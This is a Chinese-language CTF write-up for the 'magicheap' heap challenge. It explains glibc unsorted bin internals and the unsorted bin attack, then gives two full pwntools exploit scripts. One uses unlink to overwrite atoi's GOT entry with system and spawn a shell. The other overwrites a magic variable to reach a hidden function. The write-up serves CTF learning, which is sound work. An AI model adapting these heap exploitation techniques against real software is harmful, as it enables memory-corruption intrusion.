lab14_magicheap

Unlink | Unsortedbin_Attack

unsorted_bin_attack

unsortedbin

  • 一个chunk被释放时,当他不属于fastbin的范围且不和top_chunk相邻,他就会被首先放入unsortedbin中。

  • malloc的时候,如果fastbinsmallbin里都找不到相应大小的chunk,就会去unsortedbin里面找。
    如果大小满足,就会返回相应的chunk给用户,不满足,就会将unsortedbin中所有的chunk放入smallbin中。

  • 是一个双向链表。

    • FILO,从链表头部取,放进链表尾部。
    • 取出chunk的时候不使用unlink的宏。
      1
      2
      3
      4
        bck = victim -> bk
        //victim 是当前要取出来的chunk
        unsorted_chunks(av) -> bk = bck 
        bck -> fd = unsorted_chunks(av)
      

attack

  • 如果控制了victim的bk指向target_addr - 8,那么target_addr就可以被改写成为unsorted_bin的地址。

  • 无法更改target_addr为指定内容,但可以将其覆盖为一个较大的数字。

    • 可以用来更改循环次数
    • 更改判断流程
    • ……

ctfwiki图

漏洞

一个普通的菜单选择题堆的专属题型(bushi
提供createedit & delete,但是edit里面没有检查长度造成堆溢出。
流程中提供一个猜数功能,猜中了就可以调用system

思路

  • 一个错误的想法

一开始是想用double_free那种思路,把fastbins的某一个bin的指针指向got表。所以一开始还觉得挺简单的,但很快我就想起了被寻找合适位置冒充chunksize域支配的恐惧。

  • unlink

我发现基本上所有的堆溢出都可以构造出unlink的利用。只要有类似nodelist的指针。

  1. 构造fake_chunk,注意size大于0x80
  2. delete触发unlink,将heaparray指向atoigot表。
  3. atoi@got的内容改写成为system@plt
  4. 发送/bin/sh\x00

    仍旧glibc2.27跑不了。

  • unsorted bin attack

    • 看了大佬的wp才只知道有这个攻击
    • glibc2.27跑不了。

反汇编
l33t

这里有个判断,如果magic是一个大于0x1305的数字就会执行l33t这个函数。
使用unsorted_bin_attack更改,执行。

  1. 分配3个chunk——第三个是用来隔开top_chunk
  2. delete(1)
  3. 利用堆溢出更改chunk_1的bk域为magic的地址。
  4. 再次分配一个大小相同的chunk

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

def create(sz,content):
    sleep(0.2)
    sh.sendlineafter(':','1')
    sh.sendlineafter('Heap :',str(sz))
    sh.sendlineafter('heap:',content)

def edit(idx,sz,content):
    sleep(0.2)
    sh.sendlineafter('choice :','2')
    sh.sendlineafter('Index :',str(idx))
    sh.sendlineafter('Heap :',str(sz))
    sh.sendlineafter('heap :',content)

def delete(idx):
    sh.sendlineafter('choice :','3')
    sh.sendlineafter('Index :',str(idx))

if __name__ == '__main__':
    sh = process('./magicheap')
    elf = ELF('./magicheap')
    libc = elf.libc
    atoi_got = elf.got['atoi']
    system_addr = elf.plt['system']
    heaparray = 0x06020E0

    create(0x90,'aaaa')
    create(0x80,'bbbb')
    create(0x80,'cccc')

    fd = heaparray - 24
    bk = heaparray - 16
    payload = p64(0) + p64(0x90) + p64(fd) + p64(bk) + cyclic(0x70) + p64(0x90) + p64(0x90) 

    pause()
    edit(0,len(payload),payload)
    delete(1)

    payload = cyclic(24) + p64(atoi_got)
    edit(0,len(payload),payload)
    
    payload = p64(system_addr)
    edit(0,len(payload),payload)

    sh.sendlineafter("choice :",'/bin/sh\x00')
    
    sh.interactive()
    sh.close()

UnsortedBinAttack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

def create(sz,content):
    sleep(0.2)
    sh.sendlineafter(':','1')
    sh.sendlineafter('Heap :',str(sz))
    sh.sendlineafter('heap:',content)

def edit(idx,sz,content):
    sleep(0.2)
    sh.sendlineafter('choice :','2')
    sh.sendlineafter('Index :',str(idx))
    sh.sendlineafter('Heap :',str(sz))
    sh.sendlineafter('heap :',content)

def delete(idx):
    sh.sendlineafter('choice :','3')
    sh.sendlineafter('Index :',str(idx))

if __name__ == '__main__':
    sh = process('./magicheap')
    elf = ELF('./magicheap')
    libc = elf.libc

    magic_addr = 0x6020C0

    create(0x10,'aaaa')
    create(0x80,'bbbb')
    create(0x10,'cccc')

    delete(1)
    
    payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(0) + p64(magic_addr - 0x10) 
    edit(0,len(payload),payload)
    
    create(0x80,'dddd')

    sh.sendlineafter('choice :','4869')
    sh.interactive()
    sh.close()

问题

到底是为什么glibc2.27没法跑?